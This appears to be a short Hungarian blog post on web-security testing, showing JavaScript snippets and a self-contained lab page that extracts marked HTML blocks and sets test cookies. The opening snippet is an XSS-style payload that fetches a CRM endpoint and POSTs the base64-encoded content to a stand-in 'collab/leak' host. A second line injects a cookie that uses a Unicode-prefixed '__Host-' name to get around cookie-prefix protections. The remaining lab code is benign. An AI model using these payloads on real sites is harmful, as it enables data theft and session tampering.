Az első rész: adat kinyerése és elküldése, a második rész: cookie létrehozásának kísérlete. Az első rész tehát adat-exfiltrációs, a második pedig cookie-kezelési/biztonsági tesztelési szempontból érdekes.
---------------------
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
-------------
Süti beállítás
-----------
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
---------------
A működő változat
--------------
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(response => response.text())
.then(text => {
const match = re.exec(text);
if (match) {
console.log('Talált adat:');
console.log(match[1]);
} else {
console.log('A keresett blokk nem található.');
}
})
.catch(error => {
console.error('Hiba:', error);
});
---------------
Weblaborban
-----------
```html
<!DOCTYPE html>
<html lang="hu">
<head>
<meta charset="UTF-8">
<title>Webbiztonsági labor</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 900px;
margin: 40px auto;
line-height: 1.5;
}
.box {
border: 1px solid #aaa;
padding: 20px;
margin: 20px 0;
border-radius: 8px;
}
button {
padding: 10px 18px;
margin: 5px;
cursor: pointer;
}
#result {
background: #f4f4f4;
padding: 15px;
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>Webbiztonsági labor</h1>
<div class="box">
<h2>1. Tesztadat</h2>
<!-- startscrmprint -->
Ez csak mesterséges laboradat.
FELHASZNALO=TEST_USER
TOKEN=TEST_TOKEN_12345
RENDSZER=LABOR
<!-- stopscrmprint -->
<p>
A két HTML-komment közötti rész a labor céljára szolgál.
</p>
</div>
<div class="box">
<h2>2. HTML-blokk kinyerése</h2>
<button onclick="extractTestData()">
Tesztadat kinyerése
</button>
<div id="result">
Az eredmény itt jelenik meg.
</div>
</div>
<div class="box">
<h2>3. Cookie labor</h2>
<button onclick="createCookie()">
Teszt cookie létrehozása
</button>
<button onclick="showCookies()">
Cookie-k megjelenítése
</button>
<button onclick="deleteCookie()">
Teszt cookie törlése
</button>
<div id="cookieResult">
-
</div>
</div>
<script>
/*
* ---------------------------------------------------------
* 1. HTML-adat kinyerése
* ---------------------------------------------------------
*/
function extractTestData() {
const re =
/<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
const html = document.documentElement.innerHTML;
const match = re.exec(html);
if (match) {
const extracted = match[1].trim();
document.getElementById("result").textContent =
"Kinyert laboradat:\n\n" + extracted;
console.log(
"LABOR: adat megtalálva:",
extracted
);
} else {
document.getElementById("result").textContent =
"A tesztblokk nem található.";
}
}
/*
* ---------------------------------------------------------
* 2. Biztonságos teszt cookie létrehozása
* ---------------------------------------------------------
*/
function createCookie() {
document.cookie =
"lab_test=TEST_COOKIE_12345;" +
"Path=/;" +
"SameSite=Lax";
document.getElementById("cookieResult").textContent =
"A labor cookie létrejött.";
}
/*
* ---------------------------------------------------------
* 3. Cookie-k megjelenítése
* ---------------------------------------------------------
*/
function showCookies() {
const cookies = document.cookie;
document.getElementById("cookieResult").textContent =
cookies || "Nincs olvasható cookie.";
}
/*
* ---------------------------------------------------------
* 4. Labor cookie törlése
* ---------------------------------------------------------
*/
function deleteCookie() {
document.cookie =
"lab_test=;" +
"Path=/;" +
"Max-Age=0;" +
"SameSite=Lax";
document.getElementById("cookieResult").textContent =
"A labor cookie törölve.";
}
</script>
</body>
</html>
```
-----------------
Nincsenek megjegyzések:
Megjegyzés küldése